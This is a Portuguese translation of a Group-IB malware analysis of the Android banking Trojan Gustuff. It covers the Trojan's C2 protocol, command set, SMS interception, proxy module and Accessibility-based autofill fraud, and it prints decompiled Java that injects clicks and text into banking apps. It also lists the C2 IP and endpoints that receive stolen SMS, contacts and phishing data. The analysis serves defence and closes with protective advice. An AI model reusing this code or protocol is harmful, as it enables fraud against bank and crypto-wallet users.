Como o Trojan Gustuff para Android rouba a nata (fiduciária e criptográfica) de suas contas

Como o Trojan Gustuff para Android rouba a nata (fiduciária e criptográfica) de suas contas

Outro dia Grupo-IB relatado sobre a atividade do Trojan Gustuff para Android móvel. Atua exclusivamente nos mercados internacionais, atacando clientes dos 100 maiores bancos estrangeiros, usuários de 32 carteiras criptográficas móveis, bem como grandes recursos de comércio eletrônico. Mas o desenvolvedor do Gustuff é um cibercriminoso que fala russo e se chama Bestoffer. Até recentemente, ele elogiava seu Trojan como “um produto sério para pessoas com conhecimento e experiência”.

Especialista em análise de código malicioso no Group-IB Ivan Pisarev em sua pesquisa, ele fala detalhadamente sobre como o Gustuff funciona e quais são seus perigos.

Quem Gustuff está caçando?

Gustuff pertence a uma nova geração de malware com funções totalmente automatizadas. De acordo com o desenvolvedor, o Trojan se tornou uma versão nova e aprimorada do malware AndyBot, que desde novembro de 2017 ataca telefones Android e rouba dinheiro por meio de formulários de phishing da web disfarçados de aplicativos móveis de bancos e sistemas de pagamento internacionais conhecidos. Bestoffer informou que o preço do aluguel do Gustuff Bot era de US$ 800 por mês.

A análise da amostra Gustuff mostrou que o Trojan tem potencialmente como alvo clientes que usam aplicativos móveis dos maiores bancos, como Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, bem como carteiras criptografadas. Carteira Bitcoin, BitPay, Cryptopay, Coinbase, etc.

Originalmente criado como um Trojan bancário clássico, na versão atual o Gustuff expandiu significativamente a lista de alvos potenciais para ataque. Além de aplicativos Android para bancos, empresas fintech e serviços de criptografia, o Gustuff é voltado para usuários de aplicativos de marketplace, lojas online, sistemas de pagamento e mensageiros instantâneos. Em particular, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut e outros.

Ponto de entrada: cálculo para infecção em massa

Gustuff é caracterizado pelo vetor “clássico” de penetração em smartphones Android através de mailings SMS com links para APKs. Quando um dispositivo Android é infectado por um Trojan por comando do servidor, o Gustuff pode se espalhar ainda mais pelo banco de dados de contatos do telefone infectado ou pelo banco de dados do servidor. A funcionalidade do Gustuff foi projetada para infecção em massa e capitalização máxima dos negócios de seus operadores - possui uma função exclusiva de “preenchimento automático” em aplicativos bancários móveis legítimos e carteiras criptográficas, que permite acelerar e escalar o roubo de dinheiro.

Um estudo do Trojan mostrou que a função de preenchimento automático foi implementada nele por meio do Serviço de Acessibilidade, um serviço para pessoas com deficiência. Gustuff não é o primeiro Trojan a contornar com sucesso a proteção contra a interação com elementos de janela de outros aplicativos que usam este serviço Android. No entanto, a utilização do Serviço de Acessibilidade em combinação com o enchimento de automóveis ainda é bastante rara.

Após fazer o download para o telefone da vítima, Gustuff, por meio do Serviço de Acessibilidade, consegue interagir com elementos de janela de outros aplicativos (bancários, criptomoedas, bem como aplicativos de compras online, mensagens, etc.), realizando as ações necessárias para os invasores . Por exemplo, ao comando do servidor, um Trojan pode pressionar botões e alterar os valores dos campos de texto em aplicativos bancários. O uso do mecanismo do Serviço de Acessibilidade permite que o Trojan contorne os mecanismos de segurança usados ​​pelos bancos para combater os Trojans móveis da geração anterior, bem como as alterações na política de segurança implementadas pelo Google em novas versões do sistema operacional Android. Assim, Gustuff “sabe como” desabilitar a proteção do Google Protect: segundo o autor, essa função funciona em 70% dos casos.

Como o Trojan Gustuff para Android rouba a nata (fiduciária e criptográfica) de suas contas

Gustuff também pode exibir notificações PUSH falsas com ícones de aplicativos móveis legítimos. O usuário clica na notificação PUSH e vê uma janela de phishing baixada do servidor, onde insere os dados solicitados do cartão bancário ou da carteira criptografada. Em outro cenário do Gustuff, o aplicativo em nome do qual a notificação PUSH foi exibida é aberto. Neste caso, o malware, ao comando do servidor através do Serviço de Acessibilidade, pode preencher os campos do formulário de uma aplicação bancária para uma transação fraudulenta.

A funcionalidade do Gustuff também inclui o envio de informações sobre um dispositivo infectado para o servidor, a capacidade de ler/enviar mensagens SMS, enviar solicitações USSD, iniciar o SOCKS5 Proxy, seguir um link, enviar arquivos (incluindo digitalizações de fotos de documentos, capturas de tela, fotografias) para o servidor, redefina o dispositivo para as configurações de fábrica.

Análise de malware

Antes de instalar um aplicativo malicioso, o sistema operacional Android mostra ao usuário uma janela contendo uma lista de direitos solicitados por Gustuff:

Como o Trojan Gustuff para Android rouba a nata (fiduciária e criptográfica) de suas contas
O aplicativo será instalado somente após o consentimento do usuário. Após iniciar o aplicativo, o Trojan mostrará ao usuário uma janela:

Como o Trojan Gustuff para Android rouba a nata (fiduciária e criptográfica) de suas contas
Depois disso, seu ícone será removido.

Gustuff é embalado, segundo o autor, por um empacotador da FTT. Após a inicialização, a aplicação entra em contato periodicamente com o servidor CnC para receber comandos. Vários arquivos que examinamos usaram um endereço IP como servidor de controle 88.99.171[.]105 (doravante iremos denotá-lo como <%CnC%>).

Após o lançamento, o programa começa a enviar mensagens para o servidor http://<%CnC%>/api/v1/get.php.

Espera-se que a resposta seja JSON no seguinte formato:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Cada vez que o aplicativo é acessado, ele envia informações sobre o dispositivo infectado. O formato da mensagem é mostrado abaixo. Vale ressaltar que os campos cheio, extra, Aplicativos и permissão – opcional e será enviado somente em caso de comando de solicitação do CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Armazenando dados de configuração

Gustuff armazena informações operacionalmente importantes em um arquivo de preferências. O nome do arquivo, bem como os nomes dos parâmetros nele contidos, são o resultado do cálculo da soma MD5 da string 15413090667214.6.1<%nome%>Onde <%nome%> - valor do nome inicial. Interpretação Python da função de geração de nome:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

A seguir iremos denotá-lo como nomeGenerator(entrada).
Portanto, o primeiro nome do arquivo é: nomeGenerator("API_SERVER_LIST"), contém valores com os seguintes nomes:

Nome variável Valor
nomeGenerator("API_SERVER_LIST") Contém uma lista de endereços CnC na forma de um array.
nomeGenerator("API_SERVER_URL") Contém o endereço CnC.
nomeGenerator("SMS_UPLOAD") O sinalizador é definido por padrão. Se o flag estiver definido, envia mensagens SMS para o CnC.
nomeGenerator("SMS_ROOT_NUMBER") Número de telefone para o qual serão enviadas as mensagens SMS recebidas pelo dispositivo infectado. O padrão é nulo.
nomeGenerator("SMS_ROOT_NUMBER_RESEND") O sinalizador é desmarcado por padrão. Se instalado, quando um dispositivo infectado receber um SMS, ele será enviado para o número raiz.
nomeGenerator("DEFAULT_APP_SMS") O sinalizador é desmarcado por padrão. Se este sinalizador estiver definido, o aplicativo processará as mensagens SMS recebidas.
nomeGenerator("DEFAULT_ADMIN") O sinalizador é desmarcado por padrão. Se o sinalizador estiver definido, o aplicativo terá direitos de administrador.
nomeGenerator("DEFAULT_ACCESSIBILITY") O sinalizador é desmarcado por padrão. Se o sinalizador estiver definido, um serviço que usa o Serviço de Acessibilidade estará em execução.
nomeGenerator("APPS_CONFIG") Um objeto JSON que contém uma lista de ações que devem ser executadas quando um evento de acessibilidade associado a um aplicativo específico é acionado.
nomeGenerator("APPS_INSTALLED") Armazena uma lista de aplicativos instalados no dispositivo.
nomeGenerator("IS_FIST_RUN") A bandeira é redefinida na primeira partida.
nomeGenerator("UNIQUE_ID") Contém um identificador exclusivo. Gerado quando o bot é iniciado pela primeira vez.

Módulo para processar comandos do servidor

A aplicação armazena os endereços dos servidores CnC na forma de um array codificado por Base 85 linhas. A lista de servidores CnC pode ser alterada mediante o recebimento do comando apropriado, caso em que os endereços serão armazenados em um arquivo de preferências.

Em resposta à solicitação, o servidor envia um comando ao aplicativo. Vale ressaltar que os comandos e parâmetros são apresentados no formato JSON. O aplicativo pode processar os seguintes comandos:

Equipe descrição
avançarIniciar Comece a enviar mensagens SMS recebidas pelo dispositivo infectado para o servidor CnC.
avançarParar Pare de enviar mensagens SMS recebidas pelo dispositivo infectado para o servidor CnC.
ussdExecutar Execute a solicitação USSD. O número para o qual você precisa fazer uma solicitação USSD está localizado no campo JSON “número”.
Enviar SMS Envie uma mensagem SMS (se necessário, a mensagem é “dividida” em partes). Como parâmetro, o comando leva um objeto JSON contendo os campos “to” – o número de destino e “body” – o corpo da mensagem.
enviarSmsAb Envie mensagens SMS (se necessário, a mensagem é “dividida” em partes) para todos na lista de contatos do dispositivo infectado. O intervalo entre o envio de mensagens é de 10 segundos. O corpo da mensagem está no campo JSON “body”
enviarSmsMass Envie mensagens SMS (se necessário, a mensagem é “dividida” em partes) para os contatos especificados nos parâmetros do comando. O intervalo entre o envio de mensagens é de 10 segundos. Como parâmetro, o comando leva um array JSON (o campo “sms”), cujos elementos contêm os campos “to” - o número de destino e “body” - o corpo da mensagem.
servidor de mudança Este comando pode assumir um valor com a chave “url” como parâmetro - então o bot irá alterar o valor de nameGenerator(“SERVER_URL”), ou “array” - então o bot irá escrever o array em nameGenerator (“API_SERVER_LIST”) Assim, a aplicação altera o endereço dos servidores CnC.
número de administrador O comando foi projetado para funcionar com um número raiz. O comando aceita um objeto JSON com os seguintes parâmetros: “number” — altere nameGenerator(“ROOT_NUMBER”) para o valor recebido, “resend” — altere nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — envie para nameGenerator(“ROOT_NUMBER” ) ID único.
informação de atualização Envie informações sobre o dispositivo infectado para o servidor.
limpar dados O comando tem como objetivo excluir dados do usuário. Dependendo do nome em que o aplicativo foi iniciado, os dados são completamente apagados quando o dispositivo é reinicializado (usuário principal) ou apenas os dados do usuário são excluídos (usuário secundário).
meiasStart Inicie o módulo Proxy. A operação do módulo é descrita em uma seção separada.
meiasStop Pare o módulo Proxy.
link aberto Siga o link. O link está localizado no parâmetro JSON na chave “url”. “android.intent.action.VIEW” é usado para abrir o link.
carregarTodosSms Envie todas as mensagens SMS recebidas pelo dispositivo para o servidor.
carregar todas as fotos Envie imagens de um dispositivo infectado para um URL. A URL vem como parâmetro.
subir arquivo Envie um arquivo para um URL de um dispositivo infectado. A URL vem como parâmetro.
fazer upload de números de telefone Envie números de telefone da sua lista de contatos para o servidor. Se um valor de objeto JSON com a chave “ab” for recebido como parâmetro, a aplicação recebe uma lista de contatos da lista telefônica. Se um objeto JSON com a chave “sms” for recebido como parâmetro, a aplicação lê a lista de contatos dos remetentes das mensagens SMS.
alterarArquivo A aplicação baixa o arquivo do endereço que vem como parâmetro através da tecla “url”. O arquivo baixado é salvo com o nome “archive.zip”. O aplicativo irá então descompactar o arquivo, opcionalmente usando a senha de arquivo “b5jXh37gxgHBrZhQ4j3D”. Os arquivos descompactados são salvos no diretório [armazenamento externo]/hgps. Neste diretório, o aplicativo armazena web fakes (descritos abaixo).
ações O comando foi projetado para funcionar com o Action Service, descrito em uma seção separada.
teste Fazendo nada.
download O comando tem como objetivo baixar um arquivo de um servidor remoto e salvá-lo no diretório “Downloads”. A URL e o nome do arquivo vêm como parâmetro, campos no objeto de parâmetro JSON, respectivamente: “url” e “fileName”.
remover Remove um arquivo do diretório "Downloads". O nome do arquivo vem em um parâmetro JSON com a chave “fileName”. O nome do arquivo padrão é “tmp.apk”.
notificação Mostrar uma notificação com textos de descrição e título definidos pelo servidor de gerenciamento.

Formato de comando notificação:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

A notificação gerada pelo arquivo sob investigação é idêntica às notificações geradas pela aplicação especificada no campo app. Se o valor do campo openApp — Verdade, quando uma notificação é aberta, o aplicativo especificado no campo é iniciado app. Se o valor do campo openApp – Falso, então:

  • Uma janela de phishing é aberta, cujo conteúdo é baixado do diretório <%armazenamento externo%>/hgps/<%filename%>
  • Uma janela de phishing é aberta, cujo conteúdo é baixado do servidor <%url%>?id=<%Bot id%>&app=<%Nome do aplicativo%>
  • Uma janela de phishing é aberta, disfarçada de Google Play Card, com a oportunidade de inserir os detalhes do cartão.

O aplicativo envia o resultado de qualquer comando para <%CnC%>set_state.php como um objeto JSON no seguinte formato:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

AçõesServiço
A lista de comandos que o aplicativo processa inclui açao. Quando um comando é recebido, o módulo de processamento de comando acessa este serviço para executar o comando estendido. O serviço aceita um objeto JSON como parâmetro. O serviço pode executar os seguintes comandos:

1. PARAMS_ACTION — ao receber tal comando, o serviço primeiro recebe do parâmetro JSON o valor da chave Type, que pode ser o seguinte:

  • informações de serviço – o subcomando obtém o valor por chave do parâmetro JSON incluirNãoImportante. Se o sinalizador for True, o aplicativo define o sinalizador FLAG_ISOLATED_PROCESS para um serviço usando o Serviço de Acessibilidade. Desta forma o serviço será lançado em um processo separado.
  • raiz — receber e enviar ao servidor informações sobre a janela que está atualmente em foco. A aplicação obtém informações usando a classe AccessibilityNodeInfo.
  • admin — solicitar direitos de administrador.
  • atraso — suspenda o ActionsService pelo número de milissegundos especificado no parâmetro da chave “data”.
  • Windows — envie uma lista de janelas visíveis para o usuário.
  • instalar — instale o aplicativo no dispositivo infectado. O nome do pacote de arquivo está na chave “fileName”. O arquivo em si está localizado no diretório Downloads.
  • global – o subcomando destina-se a navegar a partir da janela atual:
    • no menu Configurações rápidas
    • para trás
    • lar
    • para notificações
    • para a janela de aplicativos aberta recentemente

  • lançamento - inicie o aplicativo. O nome do aplicativo vem como parâmetro por chave dados,.
  • sons — mude o modo de som para silêncio.
  • destravar — ativa a luz de fundo da tela e do teclado com brilho total. O aplicativo executa esta ação usando WakeLock, especificando a string [Application lable]:INFO como uma tag
  • permissãoOverlay — a função não está implementada (a resposta à execução do comando é {"message":"Not support"} ou {"message":"low sdk"})
  • gesto — a função não está implementada (a resposta à execução do comando é {"message":"Not support"}ou {"message":"Low API"})
  • permissões — este comando é necessário para solicitar permissões para o aplicativo. No entanto, a função de consulta não está implementada, portanto o comando não tem sentido. A lista de direitos solicitados vem como uma matriz JSON com a chave “permissões”. Lista padrão:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • aberto — exibir uma janela de phishing. Dependendo do parâmetro vindo do servidor, a aplicação poderá exibir as seguintes janelas de phishing:
    • Mostrar uma janela de phishing cujo conteúdo está escrito em um arquivo em um diretório <%diretório externo%>/hgps/<%param_filename%>. O resultado da interação do usuário com a janela será enviado para <%CnC%>/records.php
    • Mostrar uma janela de phishing cujo conteúdo é pré-carregado do endereço <%url_param%>?id=<%bot_id%>&app=<%packagename%>. O resultado da interação do usuário com a janela será enviado para <%CnC%>/records.php
    • Mostrar uma janela de phishing disfarçada de Google Play Card.

  • interativo — o comando foi projetado para interagir com elementos de janela de outros aplicativos usando AcessibilityService. Um serviço especial foi implementado no programa de interação. O aplicativo sob investigação pode interagir com o Windows:
    • Atualmente ativo. Neste caso, o parâmetro contém o id ou texto (nome) do objeto com o qual você precisa interagir.
    • Visível para o usuário no momento em que o comando é executado. O aplicativo seleciona janelas por ID.

    Tendo recebido objetos AcessibilidadeNodeInfo Para elementos de janela de interesse, a aplicação, dependendo dos parâmetros, pode realizar as seguintes ações:

    • foco – defina o foco para o objeto.
    • clicar — clique em um objeto.
    • actionId — execute uma ação por ID.
    • setText — altera o texto de um objeto. Alterar o texto é possível de duas maneiras: realizar uma ação ACTION_SET_TEXT (se a versão Android do dispositivo infectado for anterior ou igual a LOLLIPOP) ou colocando uma string na área de transferência e colando-a em um objeto (para versões mais antigas). Este comando pode ser usado para alterar dados em uma aplicação bancária.

2. PARAMS_ACTIONS - igual a PARAMS_ACTION, apenas uma matriz JSON de comandos chega.

Parece que muitas pessoas estarão interessadas em saber como é a função de interagir com os elementos da janela de outro aplicativo. É assim que esta funcionalidade é implementada no Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Função de substituição de texto:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Assim, com a configuração correta do servidor de controle, Gustuff consegue preencher campos de texto no aplicativo bancário e clicar nos botões necessários para finalizar a transação. O Trojan nem precisa fazer login no aplicativo – basta enviar um comando para exibir uma notificação PUSH e depois abrir o aplicativo bancário instalado anteriormente. O usuário se autenticará, após o que Gustuff poderá abastecer o carro.

Módulo de processamento de mensagens SMS

O aplicativo instala um manipulador de eventos para que o dispositivo infectado aceite mensagens SMS. O aplicativo em estudo pode receber comandos da operadora, que vêm no corpo da mensagem SMS. Os comandos vêm no formato:

7!5=<%comando codificado em Base64%>

O aplicativo procura a string em todas as mensagens SMS recebidas 7!5=, quando uma string é detectada, ele decodifica a string de Base64 no deslocamento 4 e executa o comando. Os comandos são semelhantes aos do CnC. O resultado da execução é enviado para o mesmo número de onde veio o comando. Formato de resposta:

7*5=<%Codificação Base64 do “comando result_code”%>

Opcionalmente, o aplicativo pode enviar todas as mensagens recebidas para o número Root. Para fazer isso, o número raiz deve ser especificado no arquivo de preferências e o sinalizador de redirecionamento de mensagem deve ser definido. Uma mensagem SMS é enviada para o número do invasor no formato:

<%Do número%> - <%Hora, formato: dd/MM/aaaa HH:mm:ss%> <%SMS body%>

Além disso, opcionalmente, a aplicação pode enviar mensagens para o CnC. A mensagem SMS é enviada ao servidor no formato JSON:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Se a bandeira estiver definida nomeGenerator("DEFAULT_APP_SMS") – a aplicação interrompe o processamento da mensagem SMS e limpa a lista de mensagens recebidas.

Módulo proxy

A aplicação em estudo contém um módulo Backconnect Proxy (doravante denominado módulo Proxy), que possui uma classe separada que inclui campos estáticos com configuração. Os dados de configuração são armazenados na amostra de forma clara:

Como o Trojan Gustuff para Android rouba a nata (fiduciária e criptográfica) de suas contas

Todas as ações realizadas pelo módulo Proxy são registradas em arquivos. Para isso, a aplicação em Armazenamento Externo cria um diretório chamado “logs” (campo ProxyConfigClass.logsDir na classe de configuração), no qual são armazenados os arquivos de log. O registro ocorre em arquivos com nomes:

  1. main.txt – o trabalho da classe chamada CommandServer é registrado neste arquivo. A seguir, o registro da string str neste arquivo será denotado como mainLog(str).
  2. sessão-<%id%>.txt — este arquivo salva dados de log associados a uma sessão de proxy específica. A seguir, o registro da string str neste arquivo será denotado como sessionLog (str).
  3. servidor.txt – este arquivo é usado para registrar todos os dados gravados nos arquivos descritos acima.

Formato de dados de registro:

<%Date%> [Thread[<%thread id%>], id[]]: string de log

As exceções que ocorrem durante a operação do módulo Proxy também são registradas em um arquivo. Para isso, a aplicação gera um objeto JSON no seguinte formato:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Em seguida, ele o converte em uma representação de string e o registra.

O módulo Proxy é iniciado após receber o comando correspondente. Quando um comando para iniciar o módulo Proxy é recebido, a aplicação inicia um serviço chamado Serviço Principal, que é responsável por gerenciar o funcionamento do módulo Proxy - iniciando e interrompendo-o.

Etapas de início do serviço:

1. Inicia um cronômetro que funciona uma vez por minuto e verifica a atividade do módulo Proxy. Se o módulo não estiver ativo, ele o inicia.
Além disso, quando o evento é acionado android.net.conn.CONNECTIVITY_CHANGE O módulo Proxy é iniciado.

2. O aplicativo cria um wake-lock com o parâmetro PARTIAL_WAKE_LOCK e o captura. Isso evita que a CPU do dispositivo entre no modo de suspensão.

3. Inicia a classe de processamento de comandos do módulo Proxy, primeiro registrando a linha mainLog("iniciar servidor") и

Servidor::start() host[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

onde proxy_cnc, porta_de_comando e porta_proxy – parâmetros obtidos da configuração do servidor Proxy.

A classe de processamento de comando é chamada Conexão de comando. Imediatamente após a inicialização, executa as seguintes ações:

4. Conecta-se a ProxyConfigClass.host: ProxyConfigClass.commandPort e envia dados sobre o dispositivo infectado no formato JSON:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Em que:

  • id – identificador, tenta obter um valor com o campo “id” do arquivo de Preferência Compartilhada denominado “x”. Se este valor não puder ser obtido, ele gera um novo. Assim, o módulo Proxy possui um identificador próprio, que é gerado de forma semelhante ao Bot ID.
  • imei – IMEI do dispositivo. Caso ocorra algum erro durante o processo de obtenção do valor, será escrita uma mensagem de texto de erro no lugar deste campo.
  • imsi — Identidade de assinante móvel internacional do dispositivo. Caso ocorra algum erro durante o processo de obtenção do valor, será escrita uma mensagem de texto de erro no lugar deste campo.
  • model — O nome visível para o usuário final do produto final.
  • fabricante — O fabricante do produto/hardware (Build.MANUFACTURER).
  • androidVersion - uma string no formato "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • país — localização atual do dispositivo.
  • PartnerId é uma string vazia.
  • packageName – nome do pacote.
  • networkType — tipo de conexão de rede atual (exemplo: “WIFI”, “MOBILE”). Em caso de erro, retorna nulo.
  • hasGsmSupport – verdadeiro – se o telefone suportar GSM, caso contrário, falso.
  • simReady – estado do cartão SIM.
  • simCountry - código ISO do país (com base no fornecedor do cartão SIM).
  • networkOperator — nome do operador. Caso ocorra algum erro durante o processo de obtenção do valor, será escrita uma mensagem de texto de erro no lugar deste campo.
  • simOperator — O nome do provedor de serviços (SPN). Caso ocorra algum erro durante o processo de obtenção do valor, será escrita uma mensagem de texto de erro no lugar deste campo.
  • versão - este campo é armazenado na classe de configuração, para as versões testadas do bot era igual a “1.6”.

5. Muda para o modo de espera por comandos do servidor. Os comandos do servidor vêm no formato:

  • 0 deslocamento – comando
  • 1 deslocamento – sessionId
  • 2 deslocamento – comprimento
  • 4 deslocamento - dados

Quando um comando chega, o aplicativo registra:
mainLog("Cabeçalho { sessionId<%id%>], tipo[<%command%>], comprimento[<%length%>] }")

Os seguintes comandos do servidor são possíveis:

Nome Command Data Descrição
ID de conexão 0 ID de conexão Crie uma nova conexão
SLEEP 3 Horário Pausar o módulo Proxy
PINGUE-PONGUE 4 - Enviar mensagem PONG

Uma mensagem PONG consiste em 4 bytes e se parece com isto: 0x04000000.

Quando o comando connectionId é recebido (para criar uma nova conexão) Conexão de comando cria uma instância de uma classe Conexão proxy.

  • Duas classes participam do proxy: Conexão proxy и final. Ao criar uma classe Conexão proxy conectando ao endereço ProxyConfigClass.host: ProxyConfigClass.proxyPort e passando o objeto JSON:

 {
    "id":<%connectionId%>
}

Em resposta, o servidor envia uma mensagem SOCKS5 que contém o endereço do servidor remoto com o qual a conexão deve ser estabelecida. A interação com este servidor ocorre através da classe final. A configuração da conexão pode ser representada esquematicamente da seguinte forma:

Como o Trojan Gustuff para Android rouba a nata (fiduciária e criptográfica) de suas contas

Interações de rede

Para evitar a análise de tráfego por farejadores de rede, a interação entre o servidor CnC e a aplicação pode ser protegida através do protocolo SSL. Todos os dados transmitidos de e para o servidor são apresentados no formato JSON. O aplicativo executa as seguintes solicitações durante a operação:

  • http://<%CnC%>/api/v1/set_state.php — o resultado da execução do comando.
  • http://<%CnC%>/api/v1/get.php – recebendo um comando.
  • http://<%CnC%>/api/v1/load_sms.php — baixar mensagens SMS de um dispositivo infectado.
  • http://<%CnC%>/api/v1/load_ab.php — carregar uma lista de contatos de um dispositivo infectado.
  • http://<%CnC%>/api/v1/aevents.php – a solicitação é feita ao atualizar parâmetros localizados no arquivo de preferências.
  • http://<%CnC%>/api/v1/set_card.php — upload de dados obtidos usando uma janela de phishing disfarçada de Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – upload de dados de registro.
  • http://<%CnC%>/api/v1/records.php – upload de dados obtidos através de janelas de phishing.
  • http://<%CnC%>/api/v1/set_error.php – notificação de um erro ocorrido.

Recomendações

Para proteger os seus clientes da ameaça dos Trojans móveis, as empresas devem utilizar soluções abrangentes que lhes permitam monitorizar e prevenir atividades maliciosas sem instalar software adicional nos dispositivos dos utilizadores.

Para fazer isso, os métodos de assinatura para detectar Trojans móveis precisam ser fortalecidos com tecnologias para analisar o comportamento do cliente e do próprio aplicativo. A proteção deverá incluir também uma função de identificação de dispositivos por meio da tecnologia de impressão digital, que permitirá entender quando uma conta está sendo utilizada a partir de um dispositivo atípico e já caiu nas mãos de um fraudador.

Um ponto de fundamental importância é a disponibilização de análise cross-channel, que permite às empresas controlar os riscos que surgem não só na Internet, mas também no canal mobile, por exemplo, em aplicações de mobile banking, para transações com criptomoedas e quaisquer outras onde transações financeiras podem ser realizadas.

Regras de segurança para usuários:

  • não instale aplicativos para um dispositivo móvel com sistema operacional Android de outras fontes que não o Google Play, preste atenção especial aos direitos solicitados pelo aplicativo;
  • instale regularmente atualizações do sistema operacional Android;
  • preste atenção às extensões dos arquivos baixados;
  • não visite recursos suspeitos;
  • Não clique em links recebidos em mensagens SMS.

Estrelando Semyon Rogachev, especialista júnior em pesquisa de malware no Laboratório de Computação Forense do Grupo-IB.

Fonte: habr.com

Adicionar um comentário